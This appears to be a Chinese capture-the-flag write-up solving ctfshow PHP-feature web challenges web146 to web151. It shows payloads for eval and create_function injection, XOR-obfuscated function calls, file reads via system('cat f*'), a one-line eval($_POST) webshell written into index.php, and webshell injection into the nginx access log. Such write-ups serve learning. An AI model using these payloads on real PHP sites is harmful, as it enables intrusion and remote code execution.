当前位置: 首页 > news >正文

ctfshow web入门 php特性 web146-web150

1.web146

在这里插入图片描述
:被过滤了,三元运算符用不了,还可以用位运算符,逻辑运算符,=等,逻辑运算符要注意或运算符的短路性
eval(return 1|phpinfo()|1)
eval(return 1==phpinfo()|1)
payload:

v1=1&v2=0&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|
v1=1&v2=0&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|

2.web147

在这里插入图片描述
匹配不是以字母开头的字符串 ,create_funciton的用法,需要在前面加一个字符绕过正则,达到命令执行
%5c()可以绕过正则
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法

create_function('$a','echo $a."123"')
类似于
function f($a) {echo $a."123";
}

payload:

GET ?show=;};system('cat f*');//
POST ctf=%5ccreate_function

3.web148

在这里插入图片描述
异或符号和括号没被过滤可以用异或运算绕过,还可以用中文绕过,其实还是异或运算
用羽师傅脚本生成payload
payload:

1.
("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%02"^"%60%60%7d%21%60%28");2.
code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其实也是利用异或构造
"`{{{"^"?<>/"; 异或出来的结果是 _GET

4.web149

在这里插入图片描述
预期条件竞争

ctf=1.php
show=<?php system('tac /c*';)?>

burp 抓包发送到intruder 一个不断发送上面数据 位置不设 payload 设为null 另一个不断访问1.php
在这里插入图片描述
非预期

ctf=index.php
show=<?php eval($_POST[1]);?>

5.web150

在这里插入图片描述
strrpos查找最后出现的位置,没有为flase 先算后面===,为true,要想包含只能时isVIP为true
extract导入当前符号表,也就是变量覆盖
$_SERVER [‘QUERY_STRING’] 表示获取get和post 中的参数和值
isVIP和上面类中的函数没关系
payload

ua <?php eval($_POST[1])?>get  isVIP=TRUE
post  ctf=/var/log/nginx/access.log&1=system('cat f*');

6.web151

在这里插入图片描述

__autoload的函数在不在ctfshow类中
__autoload加载未定义的类,即进行类函数判断时会调用这个函数
__autoload函数会执行这个变量class
需要先构造__CTFSHOW__但是_被过滤了,.可以绕过,构造了这个变量
…CTFSHOW…,需要进行传值,因为原先并没有,而extract函数可以覆盖原先的变量,就变为了$CTFSHOW=phpinfo,class变量就是__ctfshow__变量,class的值为phpinfo,最后就会执行phpinfo

flag在phpinfo中

__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW…=phpinfo就可以看到phpinfo信息啦
原因是…CTFSHOW…解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦
payload:

get
..CTFSHOW..=phpinfo

参考文章

相关文章:

ctfshow web入门 php特性 web146-web150

1.web146 :被过滤了&#xff0c;三元运算符用不了&#xff0c;还可以用位运算符&#xff0c;逻辑运算符,等&#xff0c;逻辑运算符要注意或运算符的短路性 eval(return 1|phpinfo()|1) eval(return 1phpinfo()|1) payload&#xff1a; v11&v20&v3(~%8C%86%8C%8B%9A%92…...

Linux:kubernetes(k8s)prestop事件的使用(10)

他的作用是在结束pod容器之后进行的操作 apiVersion: v1 # api文档版本 kind: Pod # 资源对象类型 metadata: # pod相关的元数据&#xff0c;用于描述pod的数据name: nginx-po # pod名称labels: # pod的标签type: app #这个是随便写的 自定义的标签version: 1.0.0 #这个…...

vue2【详解】生命周期(含父子组件的生命周期顺序)

1——beforeCreate&#xff1a;在内存中创建出vue实例&#xff0c;数据观测 (data observer) 和 event/watcher 事件配置还没调用&#xff08;data 和 methods 属性还没初始化&#xff09; 【执行数据观测 (data observer) 和 event/watcher 事件配置】 2——created&#xf…...

C++基础语法和概念

基本语法和数据类型 C 是一种高性能的编程语言&#xff0c;允许程序员对内存管理进行精细控制。了解 C 的基本语法和数据类型是学习这门语言的第一步。以下是一些基础概念的详细介绍&#xff1a; 基本语法 程序结构 一个基础的 C 程序通常包括一个或多个头文件引用、一个 m…...

Vue.js+SpringBoot开发海南旅游景点推荐系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 用户端2.2 管理员端 三、系统展示四、核心代码4.1 随机景点推荐4.2 景点评价4.3 协同推荐算法4.4 网站登录4.5 查询景点美食 五、免责说明 一、摘要 1.1 项目介绍 基于VueSpringBootMySQL的海南旅游推荐系统&#xff…...

mysql笔记:11. 性能优化

文章目录 概览查询速度优化1. 分析查询语句1.1 EXPLAIN1.2 DESCRIBE 2. 使用索引优化查询3. 优化子查询 数据库结构优化1. 分解表2. 建立中间表3. 增加冗余字段4. 优化插入速度4.1. MyISAM引擎表4.2. InnoDB引擎表 5. 分析表、检查表和优化表5.1. 分析表5.2. 检查表5.3. 优化表…...

基于Docker搭建Maven私服仓库(Linux)详细教程

文章目录 1. 下载镜像并启动容器2. 配置Nexus3. 配置本地Maven仓库 1. 下载镜像并启动容器 下载Nexus3镜像 docker pull sonatype/nexus3查看Nexus3镜像是否下载成功 docker images创建Nexus3的挂载文件夹 mkdir /usr/local/nexus-data && chown -R 200 /usr/local…...

IPSEC VPPN 实验

背景&#xff1a;FW1和FW2为双机热备 要求&#xff1a;在FW5和FW3之间建立一条IPSEC通道&#xff0c;保证10.0.2.0/24网段可以正常访问到192.168.1.0/24IPSEC VPPN实验配置 fw2配置 加密数据流 新建对应IKE...

基于单片机的视觉导航小车设计

目 录 摘 要 I Abstract II 引 言 1 1 总体方案设计 3 1.1 方案论证 3 1.2 项目总体设计 3 2 项目硬件设计 4 2.1 主控模块设计 4 2.1.1单片机选型 4 2.1.2 STM32F103RCT6芯片 4 2.2单片机最小系统电路 5 2.3电机驱动模块设计 7 2.4红外模块设计 8 2.5红外遥控模块设计 9 2.6超…...

Autosar教程-Mcal教程-GPT配置教程

3.3GPT配置、生成 3.3.1 GPT配置所需要的元素 GPT实际上就是硬件定时器,需要配置的元素有: 1)定时器时钟:定时器要工作需要使能它的时钟源 2)定时器分步:时钟源进到定时器后可以通过分频后再给到定时器 定时器模块选择:MCU有多个定时器模块,需要决定使用哪个定时器模块作…...

力扣--动态规划5.最长回文子串

class Solution { public:string longestPalindrome(string s) {// 获取输入字符串的长度int n s.size();// 如果字符串长度为1&#xff0c;直接返回原字符串&#xff0c;因为任何单个字符都是回文串if (n 1)return s;// 创建一个二维数组dp&#xff0c;用于记录子串是否为回…...

PokéLLMon 源码解析(一)

.\PokeLLMon\poke_env\concurrency.py # 导入必要的模块 import asyncio import atexit import sys from logging import CRITICAL, disable from threading import Thread from typing import Any, List# 在新线程中运行事件循环 def __run_loop(loop: asyncio.AbstractEvent…...

银河麒麟服务器操作系统V10【vnc配置多用户登录】

1.添加多用户&#xff08;规划kingbase使用5901窗口&#xff0c;root使用5903&#xff09;&#xff1b; adduser kingbase 2.配置文件&#xff1b; cp -rp /lib/systemd/system/vncserver.service /etc/systemd/system/vncserver:1.servicecp -rp /lib/systemd/system/vncse…...

Logseq电脑端+安卓端同步gitee或github

文章目录 0.初衷1.电脑端1.1 新建仓库1.2 克隆项目&#xff0c;生成秘钥1.3 添加图谱&#xff0c;选择文件目录&#xff0c;我是原本就有笔记&#xff0c;所以会如下所示。1.4 下载脚本文件1.5赋权限 &#xff08;windows可跳过&#xff09;1.6 修改脚本命令1.7 logseq设置同步…...

【FAQ】HarmonyOS SDK 闭源开放能力 —Map Kit

1.问题描述 在App中供用户在地图上选择地址&#xff0c;目前在使用Map Kit结合geolocationManager逆地理编码时获取的地址信息描述不准确&#xff0c;希望能提供相应的Demo参考。 解决方案 Demo代码示例&#xff1a; getLocation() { let requestInfo: geoLocationManager.…...

【ros2 control 机器人驱动开发】双关节多控制器机器人学习-example 6

【ros2 control 机器人驱动开发】双关节多控制器机器人学习-example 6 文章目录 前言一、创建controller相关二、逻辑分析RRBotModularJoint类解析ros2_control.xacro解析三、测试运行测试forward_position_controller总结前言 本篇文章在上篇文章的基础上主要讲解双轴机器人驱…...

Learn OpenGL 07 摄像机

定义摄像机参数 glm::vec3 cameraPos glm::vec3(0.0f, 0.0f, 3.0f);//摄像机位置glm::vec3 cameraTarget glm::vec3(0.0f, 0.0f, 0.0f);glm::vec3 cameraDirection glm::normalize(cameraPos - cameraTarget);//摄像机方向&#xff0c;指向z轴正方向 glm::vec3 up glm::vec…...

Linux系统部署火狐浏览器结合内网穿透实现公网访问

目录 前言 1. 部署Firefox 2. 本地访问Firefox 3. Linux安装Cpolar 4. 配置Firefox公网地址 5. 远程访问Firefox 6. 固定Firefox公网地址 7. 固定地址访问Firefox 结语 前言 作者简介&#xff1a; 懒大王敲代码&#xff0c;计算机专业应届生 今天给大家聊聊Linux系统…...

Elastic Stack--05--聚合、映射mapping

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 1.聚合(aggregations)基本概念桶&#xff08;bucket&#xff09;度量&#xff08;metrics&#xff09; 案例 11. 接下来按price字段进行分组&#xff1a;2. 若想对所…...

【嵌入式——QT】Model/View

【嵌入式——QT】Model/View 基本原理数据模型视图组件代理Model/View结构的一些概念QFileSystemModelQStringListModelQStandardItemModel自定义代理 基本原理 GUI应用程序的一个很重要的功能是由用户在界面上编辑和修改数据&#xff0c;典型的如数据库应用程序&#xff0c;数…...

练习(含atoi的模拟实现,自定义类型等练习)

一、结构体大小的计算及位段 &#xff08;结构体大小计算及位段 详解请看&#xff1a;自定义类型&#xff1a;结构体进阶-CSDN博客&#xff09; 1.在32位系统环境&#xff0c;编译选项为4字节对齐&#xff0c;那么sizeof(A)和sizeof(B)是多少&#xff1f; #pragma pack(4)st…...

【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)

可以使用Sqliteviz这个网站免费编写sql语句&#xff0c;它能够让用户直接在浏览器内练习SQL的语法&#xff0c;不需要安装任何软件。 链接如下&#xff1a; sqliteviz 注意&#xff1a; 在转写SQL语法时&#xff0c;关键字之间有一个特定的顺序&#xff0c;这个顺序会影响到…...

uniapp微信小程序视频实时流+pc端预览方案

方案类型技术实现是否免费优点缺点适用场景延迟范围开发复杂度​WebSocket图片帧​定时拍照Base64传输✅ 完全免费无需服务器 纯前端实现高延迟高流量 帧率极低个人demo测试 超低频监控500ms-2s⭐⭐​RTMP推流​TRTC/即构SDK推流❌ 付费方案 &#xff08;部分有免费额度&#x…...

(转)什么是DockerCompose?它有什么作用?

一、什么是DockerCompose? DockerCompose可以基于Compose文件帮我们快速的部署分布式应用&#xff0c;而无需手动一个个创建和运行容器。 Compose文件是一个文本文件&#xff0c;通过指令定义集群中的每个容器如何运行。 DockerCompose就是把DockerFile转换成指令去运行。 …...

Redis的发布订阅模式与专业的 MQ(如 Kafka, RabbitMQ)相比,优缺点是什么?适用于哪些场景?

Redis 的发布订阅&#xff08;Pub/Sub&#xff09;模式与专业的 MQ&#xff08;Message Queue&#xff09;如 Kafka、RabbitMQ 进行比较&#xff0c;核心的权衡点在于&#xff1a;简单与速度 vs. 可靠与功能。 下面我们详细展开对比。 Redis Pub/Sub 的核心特点 它是一个发后…...

免费PDF转图片工具

免费PDF转图片工具 一款简单易用的PDF转图片工具&#xff0c;可以将PDF文件快速转换为高质量PNG图片。无需安装复杂的软件&#xff0c;也不需要在线上传文件&#xff0c;保护您的隐私。 工具截图 主要特点 &#x1f680; 快速转换&#xff1a;本地转换&#xff0c;无需等待上…...

RabbitMQ入门4.1.0版本(基于java、SpringBoot操作)

RabbitMQ 一、RabbitMQ概述 RabbitMQ RabbitMQ最初由LShift和CohesiveFT于2007年开发&#xff0c;后来由Pivotal Software Inc.&#xff08;现为VMware子公司&#xff09;接管。RabbitMQ 是一个开源的消息代理和队列服务器&#xff0c;用 Erlang 语言编写。广泛应用于各种分布…...

uniapp 小程序 学习(一)

利用Hbuilder 创建项目 运行到内置浏览器看效果 下载微信小程序 安装到Hbuilder 下载地址 &#xff1a;开发者工具默认安装 设置服务端口号 在Hbuilder中设置微信小程序 配置 找到运行设置&#xff0c;将微信开发者工具放入到Hbuilder中&#xff0c; 打开后出现 如下 bug 解…...

Unity中的transform.up

2025年6月8日&#xff0c;周日下午 在Unity中&#xff0c;transform.up是Transform组件的一个属性&#xff0c;表示游戏对象在世界空间中的“上”方向&#xff08;Y轴正方向&#xff09;&#xff0c;且会随对象旋转动态变化。以下是关键点解析&#xff1a; 基本定义 transfor…...

macOS 终端智能代理检测

&#x1f9e0; 终端智能代理检测&#xff1a;自动判断是否需要设置代理访问 GitHub 在开发中&#xff0c;使用 GitHub 是非常常见的需求。但有时候我们会发现某些命令失败、插件无法更新&#xff0c;例如&#xff1a; fatal: unable to access https://github.com/ohmyzsh/oh…...